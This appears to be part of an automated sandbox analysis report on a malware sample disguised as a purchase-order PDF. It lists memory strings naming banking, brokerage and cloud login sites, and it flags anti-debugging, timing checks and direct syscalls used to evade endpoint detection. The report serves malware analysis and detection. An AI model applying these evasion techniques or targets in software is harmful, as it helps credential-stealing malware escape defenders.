Source: 2348427.4.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,116964286
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nteractive Brokers - HKVMware20,11696428655]
Source: 2348427.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 2348427.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 2348427.4.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ive Brokers - NDCDYNVMware20,11696428655z
Source: 2348427.4.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20D
Source: 2348427.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 2348427.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 2348427.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 2348427.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 2348427.4.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 2348427.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: YKkstfciYBQ.exe, 00000003.00000002.3897025898.00000000008EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: 2348427.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: mstsc.exe, 00000004.00000002.3896033202.00000000006A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL
Source: 2348427.4.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 2348427.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 2348427.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	API call chain: ExitProcess graph end node			graph_0-35511
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	API call chain: ExitProcess graph end node			graph_0-36204

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03CAD1C0 rdtsc

2_2_03CAD1C0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004176F3 LdrLoadDll,

2_2_004176F3

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_0004B441 IsDebuggerPresent,OutputDebugStringW,

0_2_0004B441

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00045BFC RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

0_2_00045BFC

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_0019AAC0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_0019AAC0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC3CD mov eax, dword ptr fs:[00000030h]	2_2_03CEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB63C0 mov eax, dword ptr fs:[00000030h]	2_2_03CB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEB3D0 mov ecx, dword ptr fs:[00000030h]	2_2_03CEB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF3E6 mov eax, dword ptr fs:[00000030h]	2_2_03CEF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D053FC mov eax, dword ptr fs:[00000030h]	2_2_03D053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C663FF mov eax, dword ptr fs:[00000030h]	2_2_03C663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]	2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]	2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]	2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5438F mov eax, dword ptr fs:[00000030h]	2_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5438F mov eax, dword ptr fs:[00000030h]	2_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0539D mov eax, dword ptr fs:[00000030h]	2_2_03D0539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C8739A mov eax, dword ptr fs:[00000030h]	2_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C8739A mov eax, dword ptr fs:[00000030h]	2_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]	2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]	2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]	2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C533A5 mov eax, dword ptr fs:[00000030h]	2_2_03C533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C633A0 mov eax, dword ptr fs:[00000030h]	2_2_03C633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C633A0 mov eax, dword ptr fs:[00000030h]	2_2_03C633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D34C mov eax, dword ptr fs:[00000030h]	2_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D34C mov eax, dword ptr fs:[00000030h]	2_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D05341 mov eax, dword ptr fs:[00000030h]	2_2_03D05341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29353 mov eax, dword ptr fs:[00000030h]	2_2_03C29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29353 mov eax, dword ptr fs:[00000030h]	2_2_03C29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov ecx, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA352 mov eax, dword ptr fs:[00000030h]	2_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF367 mov eax, dword ptr fs:[00000030h]	2_2_03CEF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD437C mov eax, dword ptr fs:[00000030h]	2_2_03CD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C37370 mov eax, dword ptr fs:[00000030h]	2_2_03C37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C37370 mov eax, dword ptr fs:[00000030h]	2_2_03C37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C37370 mov eax, dword ptr fs:[00000030h]	2_2_03C37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB930B mov eax, dword ptr fs:[00000030h]	2_2_03CB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB930B mov eax, dword ptr fs:[00000030h]	2_2_03CB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB930B mov eax, dword ptr fs:[00000030h]	2_2_03CB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]	2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]	2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A30B mov eax, dword ptr fs:[00000030h]	2_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C310 mov ecx, dword ptr fs:[00000030h]	2_2_03C2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50310 mov ecx, dword ptr fs:[00000030h]	2_2_03C50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF132D mov eax, dword ptr fs:[00000030h]	2_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF132D mov eax, dword ptr fs:[00000030h]	2_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5F32A mov eax, dword ptr fs:[00000030h]	2_2_03C5F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C27330 mov eax, dword ptr fs:[00000030h]	2_2_03C27330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C392C5 mov eax, dword ptr fs:[00000030h]	2_2_03C392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C392C5 mov eax, dword ptr fs:[00000030h]	2_2_03C392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03C2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03C2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03C2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5F2D0 mov eax, dword ptr fs:[00000030h]	2_2_03C5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5F2D0 mov eax, dword ptr fs:[00000030h]	2_2_03C5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED mov eax, dword ptr fs:[00000030h]	2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]	2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]	2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402E1 mov eax, dword ptr fs:[00000030h]	2_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D052E2 mov eax, dword ptr fs:[00000030h]	2_2_03D052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF2F8 mov eax, dword ptr fs:[00000030h]	2_2_03CEF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C292FF mov eax, dword ptr fs:[00000030h]	2_2_03C292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E284 mov eax, dword ptr fs:[00000030h]	2_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E284 mov eax, dword ptr fs:[00000030h]	2_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]	2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]	2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0283 mov eax, dword ptr fs:[00000030h]	2_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D05283 mov eax, dword ptr fs:[00000030h]	2_2_03D05283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6329E mov eax, dword ptr fs:[00000030h]	2_2_03C6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6329E mov eax, dword ptr fs:[00000030h]	2_2_03C6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402A0 mov eax, dword ptr fs:[00000030h]	2_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C402A0 mov eax, dword ptr fs:[00000030h]	2_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C452A0 mov eax, dword ptr fs:[00000030h]	2_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C452A0 mov eax, dword ptr fs:[00000030h]	2_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C452A0 mov eax, dword ptr fs:[00000030h]	2_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C452A0 mov eax, dword ptr fs:[00000030h]	2_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03CF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC72A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC72A0 mov eax, dword ptr fs:[00000030h]	2_2_03CC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB92BC mov eax, dword ptr fs:[00000030h]	2_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB92BC mov eax, dword ptr fs:[00000030h]	2_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB92BC mov ecx, dword ptr fs:[00000030h]	2_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB92BC mov ecx, dword ptr fs:[00000030h]	2_2_03CB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29240 mov eax, dword ptr fs:[00000030h]	2_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29240 mov eax, dword ptr fs:[00000030h]	2_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB8243 mov eax, dword ptr fs:[00000030h]	2_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB8243 mov ecx, dword ptr fs:[00000030h]	2_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6724D mov eax, dword ptr fs:[00000030h]	2_2_03C6724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A250 mov eax, dword ptr fs:[00000030h]	2_2_03C2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEB256 mov eax, dword ptr fs:[00000030h]	2_2_03CEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEB256 mov eax, dword ptr fs:[00000030h]	2_2_03CEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36259 mov eax, dword ptr fs:[00000030h]	2_2_03C36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]	2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]	2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34260 mov eax, dword ptr fs:[00000030h]	2_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFD26B mov eax, dword ptr fs:[00000030h]	2_2_03CFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFD26B mov eax, dword ptr fs:[00000030h]	2_2_03CFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2826B mov eax, dword ptr fs:[00000030h]	2_2_03C2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C59274 mov eax, dword ptr fs:[00000030h]	2_2_03C59274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C71270 mov eax, dword ptr fs:[00000030h]	2_2_03C71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C71270 mov eax, dword ptr fs:[00000030h]	2_2_03C71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274 mov eax, dword ptr fs:[00000030h]	2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C67208 mov eax, dword ptr fs:[00000030h]	2_2_03C67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C67208 mov eax, dword ptr fs:[00000030h]	2_2_03C67208
